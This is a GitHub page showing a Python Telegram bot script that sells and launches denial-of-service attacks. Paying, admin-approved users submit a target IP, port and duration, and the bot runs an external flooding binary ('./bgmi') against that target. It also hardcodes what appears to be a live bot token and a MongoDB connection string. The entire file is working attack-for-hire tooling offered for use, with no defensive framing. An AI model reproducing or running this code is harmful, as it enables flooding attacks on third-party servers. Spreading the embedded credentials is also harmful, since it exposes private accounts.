-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathg.py
226 lines (189 loc) · 8.95 KB
/
g.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
import os
import telebot
import json
import requests
import logging
import time
import subprocess
from pymongo import MongoClient
from datetime import datetime, timedelta
import certifi
#import speedtest
import asyncio
from telebot.types import ReplyKeyboardMarkup, KeyboardButton
from threading import Thread
loop = asyncio.get_event_loop()
TOKEN = '7332681169:AAFfJ1TDkwXy5AAFvSd1aXKe--UNStS_toQ'
MONGO_URI = 'mongodb+srv://Bishal:[email protected]/?retryWrites=true&w=majority&appName=Bishal'
FORWARD_CHANNEL_ID = -1002197153525
CHANNEL_ID = -1002197153525
error_channel_id = -1002197153525
logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO)
client = MongoClient(MONGO_URI, tlsCAFile=certifi.where())
db = client['zoya']
users_collection = db.users
bot = telebot.TeleBot(TOKEN)
REQUEST_INTERVAL = 1
blocked_ports = [8700, 20000, 443, 17500, 9031, 20002, 20001]
running_processes = []
REMOTE_HOST = '4.213.71.147'
async def run_attack_command_on_codespace(target_ip, target_port, duration):
command = f"./bgmi {target_ip} {target_port} {duration} 150"
try:
process = await asyncio.create_subprocess_shell(
command,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE
)
running_processes.append(process)
stdout, stderr = await process.communicate()
output = stdout.decode()
error = stderr.decode()
if output:
logging.info(f"Command output: {output}")
if error:
logging.error(f"Command error: {error}")
except Exception as e:
logging.error(f"Failed to execute command on Codespace: {e}")
finally:
if process in running_processes:
running_processes.remove(process)
async def start_asyncio_loop():
while True:
await asyncio.sleep(REQUEST_INTERVAL)
async def run_attack_command_async(target_ip, target_port, duration):
await run_attack_command_on_codespace(target_ip, target_port, duration)
def is_user_admin(user_id, chat_id):
try:
return bot.get_chat_member(chat_id, user_id).status in ['administrator', 'creator']
except:
return False
def check_user_approval(user_id):
user_data = users_collection.find_one({"user_id": user_id})
if user_data and user_data['plan'] > 0:
return True
return False
def send_not_approved_message(chat_id):
bot.send_message(chat_id, "*YOU ARE NOT APPROVED*", parse_mode='Markdown')
@bot.message_handler(commands=['approve', 'disapprove'])
def approve_or_disapprove_user(message):
user_id = message.from_user.id
chat_id = message.chat.id
is_admin = is_user_admin(user_id, CHANNEL_ID)
cmd_parts = message.text.split()
if not is_admin:
bot.send_message(chat_id, "*You are not authorized to use this command*", parse_mode='Markdown')
return
if len(cmd_parts) < 2:
bot.send_message(chat_id, "*Invalid command format. Use /approve <user_id> <plan> <days> or /disapprove <user_id>.*", parse_mode='Markdown')
return
action = cmd_parts[0]
target_user_id = int(cmd_parts[1])
plan = int(cmd_parts[2]) if len(cmd_parts) >= 3 else 0
days = int(cmd_parts[3]) if len(cmd_parts) >= 4 else 0
if action == '/approve':
if plan == 1: # Instant Plan 🧡
if users_collection.count_documents({"plan": 1}) >= 99:
bot.send_message(chat_id, "*Approval failed: Instant Plan 🧡 limit reached (99 users).*", parse_mode='Markdown')
return
elif plan == 2: # Instant++ Plan 💥
if users_collection.count_documents({"plan": 2}) >= 499:
bot.send_message(chat_id, "*Approval failed: Instant++ Plan 💥 limit reached (499 users).*", parse_mode='Markdown')
return
valid_until = (datetime.now() + timedelta(days=days)).date().isoformat() if days > 0 else datetime.now().date().isoformat()
users_collection.update_one(
{"user_id": target_user_id},
{"$set": {"plan": plan, "valid_until": valid_until, "access_count": 0}},
upsert=True
)
msg_text = f"*User {target_user_id} approved with plan {plan} for {days} days.*"
else: # disapprove
users_collection.update_one(
{"user_id": target_user_id},
{"$set": {"plan": 0, "valid_until": "", "access_count": 0}},
upsert=True
)
msg_text = f"*User {target_user_id} disapproved and reverted to free.*"
bot.send_message(chat_id, msg_text, parse_mode='Markdown')
bot.send_message(CHANNEL_ID, msg_text, parse_mode='Markdown')
@bot.message_handler(commands=['Attack'])
def attack_command(message):
user_id = message.from_user.id
chat_id = message.chat.id
if not check_user_approval(user_id):
send_not_approved_message(chat_id)
return
try:
bot.send_message(chat_id, "*Enter the target IP, port, and duration (in seconds) separated by spaces.*", parse_mode='Markdown')
bot.register_next_step_handler(message, process_attack_command)
except Exception as e:
logging.error(f"Error in attack command: {e}")
def process_attack_command(message):
try:
args = message.text.split()
if len(args) != 3:
bot.send_message(message.chat.id, "*Invalid command format. Please use: Instant++ plan target_ip target_port duration*", parse_mode='Markdown')
return
target_ip, target_port, duration = args[0], int(args[1]), args[2]
if target_port in blocked_ports:
bot.send_message(message.chat.id, f"*Port {target_port} is blocked. Please use a different port.*", parse_mode='Markdown')
return
asyncio.run_coroutine_threadsafe(run_attack_command_async(target_ip, target_port, duration), loop)
bot.send_message(message.chat.id, f"*Attack started 💥\n\nHost: {target_ip}\nPort: {target_port}\nTime: {duration} seconds*", parse_mode='Markdown')
except Exception as e:
logging.error(f"Error in processing attack command: {e}")
def start_asyncio_thread():
asyncio.set_event_loop(loop)
loop.run_until_complete(start_asyncio_loop())
@bot.message_handler(commands=['start'])
def send_welcome(message):
# Create a markup object
markup = ReplyKeyboardMarkup(row_width=2, resize_keyboard=True, one_time_keyboard=True)
# Create buttons
btn1 = KeyboardButton("Instant Plan 🧡")
btn2 = KeyboardButton("Instant++ Plan 💥")
btn3 = KeyboardButton("Canary Download✔️")
btn4 = KeyboardButton("My Account🏦")
btn5 = KeyboardButton("Help❓")
btn6 = KeyboardButton("Contact admin✔️")
# Add buttons to the markup
markup.add(btn1, btn2, btn3, btn4, btn5, btn6)
bot.send_message(message.chat.id, "*Choose an option:*", reply_markup=markup, parse_mode='Markdown')
@bot.message_handler(func=lambda message: True)
def handle_message(message):
if not check_user_approval(message.from_user.id):
send_not_approved_message(message.chat.id)
return
if message.text == "Instant Plan 🧡":
bot.reply_to(message, "*Instant Plan selected*", parse_mode='Markdown')
elif message.text == "Instant++ Plan 💥":
bot.reply_to(message, "*Instant++ Plan selected*", parse_mode='Markdown')
attack_command(message)
elif message.text == "Canary Download✔️":
bot.send_message(message.chat.id, "*Please use the following link to download Canary:* [Download Canary](https://example.com)", parse_mode='Markdown')
elif message.text == "My Account🏦":
user_data = users_collection.find_one({"user_id": message.from_user.id})
if user_data:
plan = user_data.get('plan', 'Free')
valid_until = user_data.get('valid_until', 'N/A')
access_count = user_data.get('access_count', 0)
bot.send_message(message.chat.id, f"*Plan:* {plan}\n*Valid Until:* {valid_until}\n*Access Count:* {access_count}", parse_mode='Markdown')
else:
bot.send_message(message.chat.id, "*No account information found.*", parse_mode='Markdown')
elif message.text == "Help❓":
bot.send_message(message.chat.id, "*Please contact admin for assistance.*", parse_mode='Markdown')
elif message.text == "Contact admin✔️":
bot.send_message(message.chat.id, "*Please reach out to @admin for support.*", parse_mode='Markdown')
else:
bot.send_message(message.chat.id, "*Invalid option. Please select a valid one from the menu.*", parse_mode='Markdown')
if __name__ == "__main__":
asyncio_thread = Thread(target=start_asyncio_thread, daemon=True)
asyncio_thread.start()
logging.info("Starting Codespace activity keeper and Telegram bot...")
while True:
try:
bot.polling(none_stop=True)
except Exception as e:
logging.error(f"An error occurred while polling: {e}")
logging.info(f"Waiting for {REQUEST_INTERVAL} seconds before the next request...")
time.sleep(REQUEST_INTERVAL)